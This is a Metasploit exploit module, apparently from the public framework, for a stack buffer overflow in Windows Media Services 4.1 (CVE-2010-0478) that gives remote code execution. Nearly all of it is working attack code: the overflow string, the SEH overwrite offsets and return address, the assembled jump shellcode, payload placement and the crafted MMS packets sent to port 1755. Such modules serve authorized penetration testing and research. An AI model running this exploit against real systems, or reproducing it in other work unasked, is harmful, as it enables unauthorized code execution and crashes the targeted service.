##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Media Services ConnectFunnel Stack Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in the Windows Media
          Unicast Service version 4.1.0.3930 (NUMS.exe). By sending a specially
          crafted FunnelConnect request, an attacker can execute arbitrary code
          under the "NetShowServices" user account. Windows Media Services 4.1 ships
          with Windows 2000 Server, but is not installed by default.

          NOTE: This service does NOT restart automatically. Successful, as well as
          unsuccessful exploitation attempts will kill the service which prevents
          additional attempts.
        },
        'Author' => 'jduck',
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2010-0478' ],
          [ 'OSVDB', '63726' ],
          [ 'MSB', 'MS10-025' ],
          [ 'URL', 'https://www.lexsi.com/abonnes/labs/adviso-cve-2010-0478.txt' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 600,
          'BadChars' => "\x00\x5c",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          [
            'Windows 2000 Pro SP4 English',
            {
              # Unpatched:
              # SEH handler offset is 840
              # Stack return is at 652
              # "Patched":
              # SEH handler offset is 832
              'Offset' => 840,
              'SEHOffsets' => [ 832, 840 ],
              'EIPOffset' => 652 + 3,
              'Ret' => 0x75022ac4 # p/p/r in ws2help.dll
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2010-04-13',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(1755)
      ]
    )
  end

  def exploit
    @pkts = 0
    cmd_buf = ''

    # LinkViewerToMacConnect
    subscriber = "NSPlayer/4.1.0.3928; {68c0a090-8797-11d2-a2b3-00a0c9b60551}"
    # subscriber = "NSPlayer/7.0.0.1956; {}; Host: The.Host.Net"
    # subscriber = "Spooooon!"
    subscriber << "\x00"
    subscriber = Rex::Text.to_unicode(subscriber)
    cmd_buf << make_command(0x30001, subscriber)

    # LinkViewerToMacConnectFunnel
    name = ''
    name << "\\\\"
    name << rand_text((target['Offset'] + 4 + 5) / 2)
    name << "\\"
    name << "\x00"

    # Convert it to Unicode..
    name = Rex::Text.to_unicode(name)
    # stuff = Rex::Text.pattern_create((target['Offset'] + 4 + 5) + 4)
    stuff = rand_text((target['Offset'] + 4 + 5) + 4)
    stuff.slice!(0, 4)
    name[4, stuff.length] = stuff

    # Insert the payload..
    name[4, payload.encoded.length] = payload.encoded

    # Build the SEH frame that leads to the payload...
    target['SEHOffsets'].each { |off|
      seh = ''
      case off
      when 832
        code = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-652").encode_string
        code << rand_text(8 - code.length)
        name[off - 8, code.length] = code
        seh << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-8").encode_string
        seh << rand_text(2)
        seh << [target.ret].pack('V')
      when 840
        seh << generate_seh_record(target.ret)
        asm = "add edi, 0x04\njmp edi"
        seh << Metasm::Shellcode.assemble(Metasm::Ia32.new, asm).encode_string
      end
      name[off, seh.length] = seh
    }

    # Make sure the return address points at an invalid address
    off = target['EIPOffset']
    name[off, 1] = [0x80 + rand(0x7f)].pack('C')

    # Add it to the command buffer..
    cmd_buf << make_command(0x30002, name)

    # Build the TcpMessageHeader ..
    pkt = make_tcpmsghdr(cmd_buf)

    # Handle the transacation..
    connect
    print_status("Sending crafy commands (#{pkt.length} bytes) ...")
    sock.put(pkt)

    handler
    disconnect
  end

  #
  # Create a TcpMessageHeader from the supplied data
  #
  def make_tcpmsghdr(data)
    len = data.length
    # The server doesn't like packets that are bigger...
    fail_with(Failure::BadConfig, 'Message length is too big') if (len > 0x1000)
    len /= 8

    # Pack the pieces in ...
    pkt = [
      1, 0, 0, 0, # rep, ver, verMinor, pad
      0xb00bface,        # session id (nice)
      data.length + 16,  # msg len
      0x20534d4d,        # seal ("MMS ")
      len + 2,           # chunkCount
      @pkts, 0,          # seq, MBZ
      rand(0xffffffff), rand(0xffffffff) # timeSent -- w/e
    ].pack('CCCCVVVVvvVV')

    # Add the data
    pkt << data

    # Pad it to 8 bytes...
    left = data.length % 8
    pkt << ("\x00" * (8 - left)) if (left > 0)

    pkt
  end

  #
  # Create a command packet
  #
  def make_command(msg_id, extra)
    # Two opcodes, get handled differently..
    case msg_id
    when 0x30001
      data = [0xf0f0f0f0, 0x0004000b, 0x0003001c].pack('VVV')

    when 0x30002
      data = [0xf0f0f0f1, 0xffffffff, 0, 0x989680, 0x00000002].pack('VVVVV')

    end

    # Put some data on...
    data << extra

    # Pad it to 8 bytes...
    left = data.length % 8
    data << ("\x00" * (8 - left)) if (left > 0)

    # Combine the pieces..
    pkt = [
      (data.length / 8) + 1,  # chunkLen
      msg_id                  # msg ID
    ].pack('VV')
    pkt << data

    pkt
  end
end
